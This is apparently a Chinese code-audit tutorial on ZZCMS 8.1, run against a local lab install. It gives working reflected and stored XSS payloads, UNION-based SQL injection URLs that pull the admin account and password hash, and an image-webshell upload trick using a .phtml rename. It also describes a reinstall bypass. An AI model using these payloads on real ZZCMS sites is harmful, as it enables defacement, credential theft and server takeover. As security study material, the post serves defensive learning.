这周的审计任务php
ZZCMS8.1是站长招商网内容管理系统。审计这个CMS的缘由不少,这里就不详说了(实际上是漏洞类型多点)html
环境搭建 mysql
1,虚拟机win7 32位,用wamserver或者phpstudy搭建环境。正则表达式
2,ZZCMS8.1源码(已分享连接)放到WWW目录下面sql
3,安装,访问( http://127.0.0.1/zzcms8.1/install ),若是提示咱们安装向导已经安装过,重安装需删除根目录下的 /install/install.lock 文件。删除以后再从新访问该安装页面( http://127.0.0.1/zzcms8.1/install )。一路选择下一步,直到设置页面,建立数据库......安装完成。shell
代码审计数据库
审计的时候固然不是漫无目的的直接一个一个看php文件,先拿出来咱们的代码审计工具扫一下(上篇文章提到),下面将会经过几个漏洞类型提到apache
先附图一张工具自动审计的漏洞,不过误报率很高。数组
XSS漏洞浏览器
能够说是最简单的一个漏洞了,先看一下
连接(http://127.0.0.1/zzcms8.1/uploadimg_form.php),问题出在uploadimg_form.php里面输出语句有可控变量,而且没有过滤,从而形成XSS漏洞
value="<?php echo @$_GET['imgid']?>"上图68行能够清楚的看到imgid是没有过滤直接输出的。
所以能够直接构造XSS的payload:http://127.0.0.1/zzcms8.1/uploadimg_form.php?imgid="><script>alert(/orange/)</script><"
这个页面是须要登录的
登录验证代码
<?php
if(!isset($_SESSION)){session_start();}
if (!isset($_COOKIE["UserName"]) && !isset($_SESSION["admin"])){
session_write_close();
echo "No Login!";
exit;
}
?>
若是你不想登录的话,能够注释掉登录的代码就好。还有其余处存在XSS。这里只写这一处反射型XSS。
存储型XSS漏洞
通常来讲存储型XSS漏洞都在留言板什么的地方,没有加以过滤,直接写入数据库中,管理员审核的时候从数据库中提取数据,这里能够构造payload,从而能够进行XSS攻击,有的获取管理员的cookie信息,进而进行下一步攻击。
咱们首先黑盒测试一下,打开一个提问问题的页面(http://127.0.0.1/zzcms8.1/ask/askadd.php),提问问题,这个时候就开始写payload而后发布。
payload:"><script>alert(/a/)</script>
而后咱们管理员权限登进后台,信息模块-->问答信息管理。可是很无奈,个人显示没有权限,不过不要紧,咱们去数据库直接进行查看,找到zzcms_ask表,查看其中内容,能够看到标题是通过转义的,然而内容却没有通过转义,直接存在了数据库中,所以这里就有可能形成存储型XSS漏洞
如今查看源码分析一下
打开/ask/askadd.php页面
看到198行对数据库中的content内容进行POST接收
$content=str_replace("'","",stripfxg(trim($_POST["content"])));
首先标题title接收到,通过trim函数移除了两侧的字符,trim()函数的意思是移除字符串两侧的空白字符或其余预约义字符,而后就把title接收到了
其次是content,这个进行了一系列的过滤,首先通过trim函数移除了两侧的字符,而后经过stripfxg函数去除反斜杠,追踪自定义stripdxg函数,在/inc/function.php中528行发现
最后再去content参数经过str_replace()函数进行过滤,这个函数把 ' 替换成空,
后面还有一个$img=getimgincontent($content),getimgincontent()自定义函数这个能够在/inc.function.php中210行找到
正如这个函数名字同样,getimgincontent,从content中获得img文件,getimgincontent()函数经过正则表达式,匹配出gif|.jpg|.png|.bmp文件
不过这里此刻对于content是没什么影响的,最后判断一下title是否是为空,接收到以后进而存入数据库中,
若是看了上面的还不明白为何会把"><script>alert(/orange/)</script>直接存入数据库,那就好好理解我下面的这段话
首先trim()函数的意思是移除字符串两侧的空白字符或其余预约义字符,而后"><script>alert(/orange/)</script>不存在空白字符或者预约义字符,因此此时$content仍是"><script>alert(/orange/)</script>,而后stripfxg()函数去除反斜杠,然而"><script>alert(/orange/)</script>没有反斜杠,因此$content仍是"><script>alert(/orange/)</script>,最后str_replace()函数进行单引号替换成空,可是"><script>alert(/orange/)</script>没有单引号,因此通过一系列的"过滤",content的内容仍是"><script>alert(/orange/)</script>,而后就存入数据库中,从而形成存储型XSS漏洞。
/ask/show.php是展现上面提问的问题和答案的,追踪过去show.php搜索content,能够看到是没有进行任何过滤的,所以这里极大可能存在存储型XSS漏洞。
SQL注入漏洞
联合查询注入
漏洞所在文件是/admin/help_manage.php,其中在文件的第17行,
$b=isset($_REQUEST["b"])?$_REQUEST["b"]:'';
这里$_REQUEST了变量b过去,zzcms对全局的post,get,request请求变量都作到了转义,引号介入是不存在的,可是问题就出在$sql,变量$id是$_REQUEST的,并无通过过滤,这就形成了代码注入了。
因为代码中有输出这个查询后数组显示,咱们能够用联合查询来直接获取到管理员的帐号密码,密码是md5加密的
构造payload:http://127.0.0.1/zzcms8.1/admin/help_manage.php?b=-1+UNION+ALL+SELECT+1,2,3,4,5,6,(SELECT+CONCAT(IFNULL(CAST(database()+AS+CHAR),0x20),0x203a3a20,IFNULL(CAST(user()+AS+CHAR),0x20))+FROM+zzcms.zzcms_admin+LIMIT+0,1)%E2%80%93
上面首先查询出当前数据库和当前用户名,以下面图所示,数据库是zzcms,用户是root。
这个payload则是直接查看用户帐号密码的,帐号admin,密码21232f297a57a5a743894a0e4a801fc3(admin)
payload:http://127.0.0.1/zzcms8.1/admin/help_manage.php
?b=-1+UNION+ALL+SELECT+1,2,3,4,5,6,(SELECT+CONCAT(0x757365723a20,IFNULL(CAST(admin+AS+CHAR),0x20),0x20706173733a2020,IFNULL(CAST(pass+AS+CHAR),0x20))+FROM+zzcms.zzcms_admin+LIMIT+0,1)%E2%80%93
文件上传漏洞
上传漏洞致使getshell。上传点(http://127.0.0.1/uploadimg_form.php或http://127.0.0.1/zzcms8.1/uploadimg_form.php)
这个上传,检测后缀名,只容许jpg,png,gif,bmp文件上传,可是这里咱们能够利用图片马进行伪造上传从而getshell。
图片马制做这里提一下:CMD命令行制做,首先准备一个图片.jpg,一个一句话php文件.php,而后用如下命令:copy 1.jpg/b+1.php 2.jpg
上面就制做成了图片马2.jpg。
图片马制做成功,接下来上传,因为个人虚机是没有JAVA环境的,因此我在本机进行上传(本机浏览器输入x虚拟机IP就可访问,前提是在同一网段,这个时候须要虚拟机进行桥接设置),上传burpsuite进行抓包,将上传的2.jpg改为2.phtml,再进行上传,进而上传成功。
这个漏洞的根本在于apache会把phtml后缀的文件当成php文件来执行。
重装漏洞
\zzcms8.1\install\index.php 11行/51行—90行
$step = isset($_POST['step']) ? $_POST['step'] : 1; <?php switch($step) { case '1'://协议 include 'step_'.$step.'.php'; break; case '2'://环境 $pass = true; $PHP_VERSION = PHP_VERSION; if(version_compare($PHP_VERSION, '4.3.0', '<')) { $php_pass = $pass = false; } else { $php_pass = true; } $PHP_MYSQL = ''; if(extension_loaded('mysql')) { $PHP_MYSQL = '支持'; $mysql_pass = true; } else { $PHP_MYSQL = '不支持'; $mysql_pass = $pass = false; } $PHP_GD = ''; if(function_exists('imagejpeg')) $PHP_GD .= 'jpg'; if(function_exists('imagegif')) $PHP_GD .= ' gif'; if(function_exists('imagepng')) $PHP_GD .= ' png'; if($PHP_GD) { $gd_pass = true; } else { $gd_pass = false; } $PHP_URL = @get_cfg_var("allow_url_fopen");//是否支持远程URL,采集有用 $url_pass = $PHP_URL ? true : false; include 'step_'.$step.'.php'; break; case '3'://查目录属性 include 'step_'.$step.'.php'; break; case '4'://建数据库 include 'step_'.$step.'.php'; break;
这个ZZCMS也是经过 install.lock 来判断是否已经安装了的,而后咱们根据上面的代码能够看出 step 参数若是为空的话,就默认从 1 开始,而后咱们跟进下 step_1.php 这个文件。
zzcms8.1\install\step_1.php 1行—5行
<?php if(file_exists("install.lock")){ echo "<div style='padding:30px;'>安装向导已运行安装过,如需重安装,请删除 /install/install.lock 文件</div>"; }else{ ?>
这个文件里判断了当前目录下是否存在 install.lock 文件,若是存在就提示已经安装了,那继续看下 step_2.php 的内容。
zzcms8.1\install\step_2.php 1行—3行
<?php if(@$step==2){ ?>
这里没有继续判断是否存在 install.lock 文件,那继续看下剩下的 step_3/4.php 里有没有判断条件。
zzcms8.1\install\step_3.php 1行—5行
<?php if(@$step==3){ $token = md5(uniqid(rand(), true)); //uniqid() 函数基于以微秒计的当前时间,生成一个惟一的 ID。 $_SESSION['token']= $token; ?>
zzcms8.1\install\step_4.php 1行—9行
<?php if(@$step==4){ if ($_POST['token'] != $_SESSION['token'] || $_POST['token']=='' ){ echo "非法提交".$_POST['token']."<br>".$_SESSION['token']; exit(); //}else{ //unset($_SESSION['token']); } ?>
step_4.php 文件里也没有判断 install.lock ,只是验证了一下在 3 里的那个 token ,因此,3 到 4 这个步骤不能越过,可是,这是个重装漏洞是有的。
咱们只须要进入 install\index.php 路径文件下,POST 一下 2 ,而后按顺序走下去就重装了这个CMS。
源码分享(连接: https://pan.baidu.com/s/1pLr7w6Z 密码: r326)
本文连接(http://www.cnblogs.com/Oran9e/p/7812106.html),转载请注明。